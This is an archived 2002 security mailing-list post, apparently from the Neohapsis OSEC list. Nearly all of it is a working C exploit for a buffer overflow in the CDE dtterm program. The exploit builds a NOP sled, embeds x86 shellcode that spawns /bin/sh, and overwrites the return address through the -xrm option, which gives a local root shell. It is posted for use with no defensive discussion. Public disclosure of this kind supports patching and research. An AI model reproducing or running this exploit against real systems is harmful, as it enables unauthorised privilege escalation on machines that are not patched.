OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: jG gM (jggmmail.com)
Date: Tue Jan 08 2002 - 00:12:56 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    ('binary' encoding is not supported, stored as-is) Here is code.../*
     * dtterm buffer overflow by jGgM
     * http://www.netemperor.com/en/
     * EMail: jggmmail.com
     *
    */
    #include <stdio.h>
    #include <stdlib.h>

    char shell[] =
      "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0
    \x89\x46\xb4"
      "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50
    \xb0\x8d\xe8\xdf"
      "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2
    \xff\xff\xff"
      "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53
    \x8d\x1e\x89\x5e\x08\x53"
      "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8
    \xbb\xff\xff\xff\x2f"
      "\x62\x69\x6e\x2f\x73\x68
    \xff\xff\xff\xff\xff\xff\xff\xff\xff";

    #define NOP 0x90
    #define LEN 102

    #define BUFFER_SIZE 1052
    #define RET_LENGTH 10
    #define ADJUST 4

    long get_sp(void) {
       __asm__("movl %esp, %eax");
    }

    int
    main(int argc, char *argv[])
    {
       char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
       long offset, ret;
       int x, y;

       if(argc > 2) {
          fprintf(stderr, "Usage: %s [offset]\n", argv[0]);
          exit(1);
       } // end of if..

       if(argc == 2) offset = atol(argv[1]);
       else offset = 0;

       ret = get_sp() + 900 + offset;

       for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;

       x = BUFFER_SIZE - strlen(shell) - ADJUST;

       for(y=0; y<strlen(shell); y++)
          buffer[x++] = shell[y];

       for(y=0; y<RET_LENGTH; y++, x += 4)
          *((int *)&buffer[x]) = ret;

       buffer[x] = 0x00;

       printf("ret = 0x%x,\n", ret);
       printf("offset = %d\n", offset);
       printf("buffer size = %d\n", strlen(buffer));
       execl("/usr/dt/bin/dtterm", "dtterm", "-xrm", buffer,
    NULL);
       printf("exec failed\n");
    }